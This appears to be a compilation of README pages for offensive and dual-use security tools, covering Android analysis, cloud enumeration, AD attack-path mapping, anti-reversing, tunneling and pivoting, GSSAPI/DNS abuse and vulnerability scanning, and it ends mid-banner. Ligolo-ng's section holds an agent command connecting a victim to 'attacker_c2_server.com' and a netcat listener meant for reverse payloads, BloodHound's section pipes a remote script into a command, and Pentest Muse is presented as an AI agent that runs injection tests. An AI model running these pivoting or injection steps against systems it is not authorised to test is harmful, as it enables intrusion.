DroidLysis - Property Extractor For Android Apps

DroidLysis is a pre-analysis tool for Android apps: it performs repetitive and boring tasks we'd typically do at the beginning of any reverse engineering. It disassembles the Android sample, organizes output in directories, and searches for suspicious spots in the code to look at. The output helps the reverse engineer speed up the first few steps of analysis.

DroidLysis can be used over Android packages (apk), Dalvik executables (dex), Zip files (zip), Rar files (rar) or directories of files.

Installing DroidLysis

1. Install required system packages

sudo apt-get install default-jre git python3 python3-pip unzip wget libmagic-dev libxml2-dev libxslt-dev

1. Install Android disassembly tools

2. Apktool ,

3. Baksmali, and optionally
4. Dex2jar and
5. Obsolete: Procyon (note that Procyon only works with Java 8, not Java 11).

$ mkdir -p ~/softs
$ cd ~/softs
$ wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
$ wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.5.2.jar
$ wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
$ unzip dex-tools-v2.4.zip 
$ rm -f dex-tools-v2.4.zip 

1. Get DroidLysis from the Git repository (preferred) or from pip

Install from Git in a Python virtual environment (python3 -m venv, or pyenv virtual environments etc).

$ python3 -m venv venv
$ source ./venv/bin/activate
(venv) $ pip3 install git+https://github.com/cryptax/droidlysis

Alternatively, you can install DroidLysis directly from PyPi (pip3 install droidlysis).

1. Configure conf/general.conf. In particular make sure to change /home/axelle with your appropriate directories.

[tools]
apktool = /home/axelle/softs/apktool_2.9.3.jar
baksmali = /home/axelle/softs/baksmali-2.5.2.jar
dex2jar = /home/axelle/softs/dex-tools-v2.4/d2j-dex2jar.sh
procyon = /home/axelle/softs/procyon-decompiler-0.5.30.jar
keytool = /usr/bin/keytool
...

1. Run it:

python3 ./droidlysis3.py --help

Configuration

The configuration file is ./conf/general.conf (you can switch to another file with the --config option). This is where you configure the location of various external tools (e.g. Apktool), the name of pattern files (by default ./conf/smali.conf, ./conf/wide.conf, ./conf/arm.conf, ./conf/kit.conf) and the name of the database file (only used if you specify --enable-sql)

Be sure to specify the correct paths for disassembly tools, or DroidLysis won't find them.

Usage

DroidLysis uses Python 3. To launch it and get options:

droidlysis --help

For example, test it on Signal's APK:

droidlysis --input Signal-website-universal-release-6.26.3.apk --output /tmp --config /PATH/TO/DROIDLYSIS/conf/general.conf

DroidLysis outputs:

• A summary on the console (see image above)
• The unzipped, pre-processed sample in a subdirectory of your output dir. The subdirectory is named using the sample's filename and sha256 sum. For example, if we analyze the Signal application and set --output /tmp, the analysis will be written to /tmp/Signalwebsiteuniversalrelease4.52.4.apk-f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290.
• A database (by default, SQLite droidlysis.db) containing properties it noticed.

Options

Get usage with droidlysis --help

• The input can be a file or a directory of files to recursively look into. DroidLysis knows how to process Android packages, DEX, ODEX and ARM executables, ZIP, RAR. DroidLysis won't fail on other type of files (unless there is a bug...) but won't be able to understand the content.

• When processing directories of files, it is typically quite helpful to move processed samples to another location to know what has been processed. This is handled by option --movein. Also, if you are only interested in statistics, you should probably clear the output directory which contains detailed information for each sample: this is option --clearoutput. If you want to store all statistics in a SQL database, use --enable-sql (see here)

• DEX decompilation is quite long with Procyon, so this option is disabled by default. If you want to decompile to Java, use --enable-procyon.

• DroidLysis's analysis does not inspect known 3rd party SDK by default, i.e. for instance it won't report any suspicious activity from these. If you want them to be inspected, use option --no-kit-exception. This usually creates many more detected properties for the sample, as SDKs (e.g. advertisment) use lots of flagged APIs (get GPS location, get IMEI, get IMSI, HTTP POST...).

Sample output directory (--output DIR)

This directory contains (when applicable):

• A readable AndroidManifest.xml
• Readable resources in res
• Libraries lib, assets assets
• Disassembled Smali code: smali (and others)
• Package meta information: META-INF
• Package contents when simply unzipped in ./unzipped
• DEX executable classes.dex (and others), and converted to jar: classes-dex2jar.jar, and unjarred in ./unjarred

The following files are generated by DroidLysis:

• autoanalysis.md: lists each pattern DroidLysis detected and where.
• report.md: same as what was printed on the console

If you do not need the sample output directory to be generated, use the option --clearoutput.

Import trackers from Exodus etc (--import-exodus)

$ python3 ./droidlysis3.py --import-exodus --verbose
Processing file: ./droidurl.pyc ...
DEBUG:droidconfig.py:Reading configuration file: './conf/./smali.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./wide.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./arm.conf'
DEBUG:droidconfig.py:Reading configuration file: '/home/axelle/.cache/droidlysis/./kit.conf'
DEBUG:droidproperties.py:Importing ETIP Exodus trackers from https://etip.exodus-privacy.eu.org/api/trackers/?format=json
DEBUG:connectionpool.py:Starting new HTTPS connection (1): etip.exodus-privacy.eu.org:443
DEBUG:connectionpool.py:https://etip.exodus-privacy.eu.org:443 "GET /api/trackers/?format=json HTTP/1.1" 200 None
DEBUG:droidproperties.py:Appending imported trackers to /home/axelle/.cache/droidlysis/./kit.conf

Trackers from Exodus which are not present in your initial kit.conf are appended to ~/.cache/droidlysis/kit.conf. Diff the 2 files and check what trackers you wish to add.

SQLite database{#sqlite_database}

If you want to process a directory of samples, you'll probably like to store the properties DroidLysis found in a database, to easily parse and query the findings. In that case, use the option --enable-sql. This will automatically dump all results in a database named droidlysis.db, in a table named samples. Each entry in the table is relative to a given sample. Each column is properties DroidLysis tracks.

For example, to retrieve all filename, SHA256 sum and smali properties of the database:

sqlite> select sha256, sanitized_basename, smali_properties from samples;
f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290|Signalwebsiteuniversalrelease4.52.4.apk|{"send_sms": true, "receive_sms": true, "abort_broadcast": true, "call": false, "email": false, "answer_call": false, "end_call": true, "phone_number": false, "intent_chooser": true, "get_accounts": true, "contacts": false, "get_imei": true, "get_external_storage_stage": false, "get_imsi": false, "get_network_operator": false, "get_active_network_info": false, "get_line_number": true, "get_sim_country_iso": true,
...

Property patterns

What DroidLysis detects can be configured and extended in the files of the ./conf directory.

A pattern consist of:

• a tag name: example send_sms. This is to name the property. Must be unique across the .conf file.
• a pattern: this is a regexp to be matched. Ex: ;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage. In the smali.conf file, this regexp is match on Smali code. In this particular case, there are 3 different ways to send SMS messages from the code: sendTextMessage, sendMultipartTextMessage and sendDataMessage.
• a description (optional): explains the importance of the property and what it means.

[send_sms]
pattern=;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage
description=Sending SMS messages

Importing Exodus Privacy Trackers

Exodus Privacy maintains a list of various SDKs which are interesting to rule out in our analysis via conf/kit.conf. Add option --import_exodus to the droidlysis command line: this will parse existing trackers Exodus Privacy knows and which aren't yet in your kit.conf. Finally, it will append all new trackers to ~/.cache/droidlysis/kit.conf.

Afterwards, you may want to sort your kit.conf file:

import configparser
import collections
import os

config = configparser.ConfigParser({}, collections.OrderedDict)
config.read(os.path.expanduser('~/.cache/droidlysis/kit.conf'))
# Order all sections alphabetically
config._sections = collections.OrderedDict(sorted(config._sections.items(), key=lambda t: t[0] ))
with open('sorted.conf','w') as f:
    config.write(f)

Updates

• v3.4.6 - Detecting manifest feature that automatically loads APK at install
• v3.4.5 - Creating a writable user kit.conf file
• v3.4.4 - Bug fix #14
• v3.4.3 - Using configuration files
• v3.4.2 - Adding import of Exodus Privacy Trackers
• v3.4.1 - Removed dependency to Androguard
• v3.4.0 - Multidex support
• v3.3.1 - Improving detection of Base64 strings
• v3.3.0 - Dumping data to JSON
• v3.2.1 - IP address detection
• v3.2.0 - Dex2jar is optional
• v3.1.0 - Detection of Base64 strings

Cloud_Enum - Multi-cloud OSINT Tool. Enumerate Public Resources In AWS, Azure, And Google Cloud

Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

Currently enumerates the following:

Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)

Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps

Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps

See it in action in Codingo's video demo here.

Usage

Setup

Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:

pip3 install -r ./requirements.txt

Running

The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.

You can provide multiple keywords by specifying the -k argument multiple times.

Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.

Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:

./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey

HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.

./cloud_enum.py -k keyword -t 10

IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.

Complete Usage Details

usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]

Multi-cloud enumeration utility. All hail OSINT!

optional arguments:
  -h, --help            show this help message and exit
  -k KEYWORD, --keyword KEYWORD
                        Keyword. Can use argument multiple times.
  -kf KEYFILE, --keyfile KEYFILE
                        Input file with a single keyword per line.
  -m MUTATIONS, --mutations MUTATIONS
                        Mutations. Default: enum_tools/fuzz.txt
  -b BRUTE, --brute BRUTE
                        List to brute-force Azure container names. Default: enum_tools/fuzz.txt
  -t THREADS, --threads THREADS
                        Threads for HTTP brute-force. Default = 5
  -ns NAMESERVER, --nameserver NAMESERVER
                        DNS server to use in brute-force.
  -l LOGFILE, --logfile LOGFILE
                        Will APPEND found items to specified file.
  -f FORMAT, --format FORMAT
                        Format for log file (text,json,csv - defaults to text)
  --disable-aws         Disable Amazon checks.
  --disable-azure       Disable Azure checks.
  --disable-gcp         Disable Google checks.
  -qs, --quickscan      Disable all mutations and second-level scans

Thanks

So far, I have borrowed from: - Some of the permutations from GCPBucketBrute

Pentest-Muse-Cli - AI Assistant Tailored For Cybersecurity Professionals

Pentest Muse is an AI assistant tailored for cybersecurity professionals. It can help penetration testers brainstorm ideas, write payloads, analyze code, and perform reconnaissance. It can also take actions, execute command line codes, and iteratively solve complex tasks.

Pentest Muse Web App

In addition to this command-line tool, we are excited to introduce the Pentest Muse Web Application! The web app has access to the latest online information, and would be a good AI assistant for your pentesting job.

Disclaimer

This tool is intended for legal and ethical use only. It should only be used for authorized security testing and educational purposes. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

Requirements

• Python 3.12 or later
• Necessary Python packages as listed in requirements.txt

Setup

Standard Setup

1. Clone the repository:

git clone https://github.com/pentestmuse-ai/PentestMuse cd PentestMuse

1. Install the required packages:

pip install -r requirements.txt

Alternative Setup (Package Installation)

Install Pentest Muse as a Python Package:

pip install .

Running the Application

Chat Mode (Default)

In the chat mode, you can chat with pentest muse and ask it to help you brainstorm ideas, write payloads, and analyze code. Run the application with:

python run_app.py

or

pmuse

Agent Mode (Experimental)

You can also give Pentest Muse more control by asking it to take actions for you with the agent mode. In this mode, Pentest Muse can help you finish a simple task (e.g., 'help me do sql injection test on url xxx'). To start the program with agent model, you can use:

python run_app.py agent

or

pmuse agent

Selection of Language Models

Managed APIs

You can use Pentest Muse with our managed APIs after signing up at www.pentestmuse.ai/signup. After creating an account, you can simply start the pentest muse cli, and the program will prompt you to login.

OpenAI API keys

Alternatively, you can also choose to use your own OpenAI API keys. To do this, you can simply add argument --openai-api-key=[your openai api key] when starting the program.

Contact

For any feedback or suggestions regarding Pentest Muse, feel free to reach out to us at contact@pentestmuse.ai or join our discord. Your input is invaluable in helping us improve and evolve.

BloodHound - Six Degrees Of Domain Admin

BloodHound is a monolithic web application composed of an embedded React frontend with Sigma.js and a Go based REST API backend. It is deployed with a Postgresql application database and a Neo4j graph database, and is fed by the SharpHound and AzureHound data collectors.

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.

BloodHound CE is created and maintained by the BloodHound Enterprise Team. The original BloodHound was created by @_wald0, @CptJesus, and @harmj0y.

The easiest way to get up and running is to use our pre-configured Docker Compose setup. The following steps will get BloodHound CE up and running with the least amount of effort.

1. Install Docker Compose and ensure Docker is running. This should be included with the Docker Desktop installation
2. Run curl -L https://ghst.ly/getbhce | docker compose -f - up
3. Locate the randomly generated password in the terminal output of Docker Compose
4. In a browser, navigate to http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logs

NOTE: going forward, the default docker-compose.yml example binds only to localhost (127.0.0.1). If you want to access BloodHound outside of localhost, you'll need to follow the instructions in examples/docker-compose/README.md to configure the host binding for the container.

• If you encounter a "failed to get console mode for stdin: The handle is invalid." ensure Docker Desktop (and associated Engine is running). Docker Desktop does not automatically register as a startup entry.

• If you encounter an "Error response from daemon: Ports are not available: exposing port TCP 127.0.0.1:7474 -> 0.0.0.0:0: listen tcp 127.0.0.1:7474: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted." this is normally attributed to the "Neo4J Graph Database - neo4j" service already running on your local system. Please stop or delete the service to continue.

# Verify if Docker Engine is Running
docker info

# Attempt to stop Neo4j Service if running (on Windows)
Stop-Service "Neo4j" -ErrorAction SilentlyContinue

• A successful installation of BloodHound CE would look like the below:

https://github.com/SpecterOps/BloodHound/assets/12970156/ea9dc042-1866-4ccb-9839-933140cc38b9

• BloodHound Slack
• Wiki
• Contributors
• Docker Compose Example
• BloodHound Docs
• Developer Quick Start Guide
• Contributing Guide

Please check out the Contact page in our wiki for details on how to reach out with questions and suggestions.

NullSection - An Anti-Reversing Tool That Applies A Technique That Overwrites The Section Header With Nullbytes

NullSection is an Anti-Reversing tool that applies a technique that overwrites the section header with nullbytes.

git clone https://github.com/MatheuZSecurity/NullSection
cd NullSection
gcc nullsection.c -o nullsection
./nullsection

When running nullsection on any ELF, it could be .ko rootkit, after that if you use Ghidra/IDA to parse ELF functions, nothing will appear no function to parse in the decompiler for example, even if you run readelf -S / path /to/ elf the following message will appear "There are no sections in this file."

Make good use of the tool!

We are not responsible for any damage caused by this tool, use the tool intelligently and for educational purposes only.

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

Gssapi-Abuse - A Tool For Enumerating Potential Hosts That Are Open To GSSAPI Abuse Within Active Directory Networks

gssapi-abuse was released as part of my DEF CON 31 talk. A full write up on the abuse vector can be found here: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks

The tool has two features. The first is the ability to enumerate non Windows hosts that are joined to Active Directory that offer GSSAPI authentication over SSH.

The second feature is the ability to perform dynamic DNS updates for GSSAPI abusable hosts that do not have the correct forward and/or reverse lookup DNS entries. GSSAPI based authentication is strict when it comes to matching service principals, therefore DNS entries should match the service principal name both by hostname and IP address.

Prerequisites

gssapi-abuse requires a working krb5 stack along with a correctly configured krb5.conf.

Windows

On Windows hosts, the MIT Kerberos software should be installed in addition to the python modules listed in requirements.txt, this can be obtained at the MIT Kerberos Distribution Page. Windows krb5.conf can be found at C:\ProgramData\MIT\Kerberos5\krb5.conf

Linux

The libkrb5-dev package needs to be installed prior to installing python requirements

All

Once the requirements are satisfied, you can install the python dependencies via pip/pip3 tool

pip install -r requirements.txt

Enumeration Mode

The enumeration mode will connect to Active Directory and perform an LDAP search for all computers that do not have the word Windows within the Operating System attribute.

Once the list of non Windows machines has been obtained, gssapi-abuse will then attempt to connect to each host over SSH and determine if GSSAPI based authentication is permitted.

Example

python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH

DNS Mode

DNS mode utilises Kerberos and dnspython to perform an authenticated DNS update over port 53 using the DNS-TSIG protocol. Currently dns mode relies on a working krb5 configuration with a valid TGT or DNS service ticket targetting a specific domain controller, e.g. DNS/dc1.victim.local.

Examples

Adding a DNS A record for host ahost.ad.ginge.com

python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully

Adding a reverse PTR record for host ahost.ad.ginge.com. Notice that the data argument is terminated with a ., this is important or the record becomes a relative record to the zone, which we do not want. We also need to specify the target zone to update, since PTR records are stored in different zones to A records.

python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully

Forward and reverse DNS lookup results after execution

nslookup ahost.ad.ginge.com
Server:  WIN-AF8KI8E5414.ad.ginge.com
Address:  192.168.128.1

Name:    ahost.ad.ginge.com
Address:  192.168.128.50

nslookup 192.168.128.50
Server:  WIN-AF8KI8E5414.ad.ginge.com
Address:  192.168.128.1

Name:    ahost.ad.ginge.com
Address:  192.168.128.50

WebCopilot - An Automation Tool That Enumerates Subdomains Then Filters Out Xss, Sqli, Open Redirect, Lfi, Ssrf And Rce Parameters And Then Scans For Vulnerabilities

WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.

The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.

Features

• Subdomain Enumeration using assetfinder, sublist3r, subfinder, amass, findomain, etc.
• Active Subdomain Enumeration using gobuster & amass from SecLists/DNS wordlist.
• Extract titles and take screenshots of live subdoamins using aquatone & httpx.
• Crawl all the endpoints of the subdomains using waybackurls & gauplus and filter out XSS, SQLi, SSRF, etc parameters using gf patterns.
• Run different open-source tools (like dalfox, nuclei, sqlmap, etc) to search for vulnerabilities on these parameters and then save all the outputs in the folder.

Usage

g!2m0:~ webcopilot -h

             
                                ──────▄▀▄─────▄▀▄
                                ─────▄█░░▀▀▀▀▀░░█▄
                                ─▄▄──█░░░░░░░░░░░█──▄▄
                                █▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
 ██╗░░░░░░░██╗███████╗██████╗░░█████╗░░█████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█████╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║ ░░░░██║░░██║░░░██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝ ░╚════╝░╚═╝░░░░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
                                                      [●] @h4r5h1t.hrs | G!2m0

Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]

Flags:  
  -d        Add your target [Requried]
  -o        To save outputs in folder [Default: domain.com]
  -t        Number of threads [Default: 100]
  -b        Add your server for BXSS [Default: False]
  -x        Exclude out of scope domains [Default: False]
  -s        Run only Subdomain Enumeration [Default: False]
  -h        Show this help message

Example: webcopilot  -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your server

Installing WebCopilot

WebCopilot requires git to install successfully. Run the following command as a root to install webcopilot

git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.sh

Tools Used:

SubFinder • Sublist3r • Findomain • gf • OpenRedireX • dnsx • sqlmap • gobuster • assetfinder • httpx • kxss • qsreplace • Nuclei • dalfox • anew • jq • aquatone • urldedupe • Amass • gauplus • waybackurls • crlfuzz

Running WebCopilot

To run the tool on a target, just use the following command.

g!2m0:~ webcopilot -d bugcrowd.com

The -o command can be used to specify an output dir.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd

The -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s 

The -t command can be used to add thrads to your scan for faster result.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 

The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xss

The -x command can be used to exclude out of scope domains.

g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xss

Example

Default options looks like this:

g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd

                                ──────▄▀▄─────▄▀▄
                                ─────▄█░░▀▀▀▀▀░░█▄
                                ─▄▄──█░░░░░░░░░░░█──▄▄
                                █▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
 ██╗░░░░░░░██╗███████╗██████╗░░█████╗░ █████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█ ███╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
